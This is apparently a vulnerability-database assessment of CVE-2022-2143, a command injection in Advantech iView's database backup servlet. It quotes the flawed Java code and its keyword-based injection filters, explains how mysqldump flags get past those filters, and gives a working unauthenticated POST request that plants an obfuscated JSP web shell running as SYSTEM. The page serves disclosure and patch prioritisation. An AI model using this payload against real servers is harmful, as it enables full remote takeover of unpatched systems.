Attacker Value
High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2022-2143

Disclosure Date: June 28, 2022
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

The affected product is vulnerable to two instances of command injection, which may allow an attacker to remotely execute arbitrary code.

Add Assessment

5
Ratings
Technical Analysis

An unauthenticated attacker can leverage this command injection vulnerability to gain remote code execution against vulnerable versions of Advantech iView software. The software runs as NT AUTHORITY\SYSTEM, so this will ultimately give an attacker unauthenticated privileged access with relatively low effort.

The vulnerability lies in the NetworkServlet database backup functionality:

  private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) {
    boolean bReturn = false;
    String strResults = new String();
    String strFilename = request.getParameter("backup_filename");
    String strExecuteCmd = new String();
    String strMySQLPath = new String();
    String strDbBackupFilePath = new String();
    DBServices tempDBServices = new DBServices();
    Process runtimeProcess = null;
    SystemTable tempSystemTable = new SystemTable();
    boolean errFile = false, sqlInj = false;
    CUtils cutil = new CUtils();
    if (strFilename != null && !strFilename.equals(""))
      errFile = cutil.checkFileNameIncludePath(strFilename);     <---
    sqlInj = cutil.checkSQLInjection(strFilename);     <---
    ...
    return bReturn;
  }

Two checks are performed on the user-controlled strFileName variable (backup_filename in POST). The first check is a test for attempted directory traversal or an attempt to write a file to known executable directories:

  public boolean checkFileNameIncludePath(String filename) {
    boolean result = false;
    if (filename.contains("../") || filename.contains("/Microsoft/Windows/")) {
      result = true;
    } else if (filename.contains("..\\") || filename.contains("\\webapps\\") || filename.contains("\\Apache Software Foundation\\")) {
      result = true;
    } 
    if (result)
      System.out.println("Error: Directory Traversal Vulnerability detected in [" + filename + "]"); 
    return result;
  }

The second check simply determines whether the strFileName includes any SQL keywords that would imply a SQL injection attempt. It also checks for attempts at executing arbitrary commands via getRuntime().exec():

public boolean checkSQLInjection(String model0) {
    boolean result = false;
    String model = model0.toLowerCase();
    if (model.contains(" or ") || model.contains("'or ") || model.contains("||") || model.contains("==") || model.contains("--")) {
      result = true;
    } else if (model.contains("union") && model.contains("select")) {
      if (checkCommentStr(model, "union", "select"))
        result = true; 
    } else if (model.contains("case") && model.contains("when")) {
      if (checkCommentStr(model, "case", "when"))
        result = true; 
    } else if (model.contains("into") && model.contains("dumpfile")) {
      if (checkCommentStr(model, "into", "dumpfile"))
        result = true; 
    } else if (model.contains("into") && model.contains("outfile")) {
      if (checkCommentStr(model, "into", "outfile"))
        result = true; 
    } else if (model.contains(" where ") && model.contains("select ")) {
      result = true;
    } else if (model.contains("benchmark")) {
      result = true;
    } else if (model.contains("select") && model.contains("from")) {
      if (checkCommentStr(model, "select", "from"))
        result = true; 
    } else if (model.contains("select/*")) {
      result = true;
    } else if (model.contains("delete") && model.contains("from")) {
      if (checkCommentStr(model, "delete", "from"))
        result = true; 
    } else if ((model.contains("drop") && model.contains("table")) || (model.contains("drop") && model.contains("database"))) {
      if (checkCommentStr(model, "drop", "table"))
        result = true; 
      if (checkCommentStr(model, "drop", "database"))
        result = true; 
    } else if (model.contains("sleep(") || model.contains(" rlike ") || model.contains("rlike(") || model.contains(" like ")) {
      result = true;
    } else if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {
      result = true;
    } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {
      result = true;
    } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {
      result = true;
    } 
    if (result)
      System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]"); 
    return result;
  }

Returning to backupDatabase(), as long as the strFileName variable passes the two above checks it will be used in forming a mysqldump command which will be executed via Runtime.getRuntime().exec(). Since the previous sanitization checks didn’t take mysqldump arguments into account, the -r and -w flags can be used for exploitation.

private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) {
  ...
 if (!errFile && !sqlInj) {
      if (tempDBServices.getMySQLLocation()) {
        strMySQLPath = tempDBServices.getMySQLPath();
        if (tempDBServices.retrieveDbSettings()) {
          String strUser = tempDBServices.getStrLoginUserID();
          String strPassword = tempDBServices.getStrLoginPassword();
          if (tempSystemTable.findDbBackupFilePath()) {
            strDbBackupFilePath = tempSystemTable.getDbBackupFilePath();
            strDbBackupFilePath = String.valueOf(strDbBackupFilePath) + strFilename;
            if (DBServices.OsUtils.isWindows()) {
              strExecuteCmd = "\"" + strMySQLPath;
              strExecuteCmd = String.valueOf(strExecuteCmd) + "bin\\mysqldump\" -hlocalhost -u " + strUser + " -p" + strPassword + " --add-drop-database -B iview -r \"" + strDbBackupFilePath + "\"";
            } 
            try {
              runtimeProcess = Runtime.getRuntime().exec(strExecuteCmd);
  ...

The -r flag designates a file for the output of the mysqldump command, and the -w flag allows the user to supply a condition for the command, which will end up in the output file. Given this, an attacker can pass in a jsp stub as the condition, and they will now have the ability to execute code on the target. This can be done with a single POST request (parameters not encoded for readability):

POST /iView3/NetworkServlet HTTP/1.1
Host: 192.168.140.200:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 469

page_action_type=backupDatabase&backup_filename=Qivsaus.sql" -r "./webapps/iView3/ZQmIfz.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{119,83,97,65,116,110,68,88})),request.getParameter(new java.lang.String(new byte[]{107,88,108,74})),request.getParameter(new java.lang.String(new byte[]{81,72,108,68,101,102}))).start()).getInputStream()))%>"

The patch for this vulnerability makes authentication a requirement for accessing the NetworkServlet endpoint. Since this vuln is trivial to exploit, I would recommend this one as high priority to patch. Credit goes to y4er for original blog post and PoC

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • advantech

Products

  • iview

Additional Info

Technical Analysis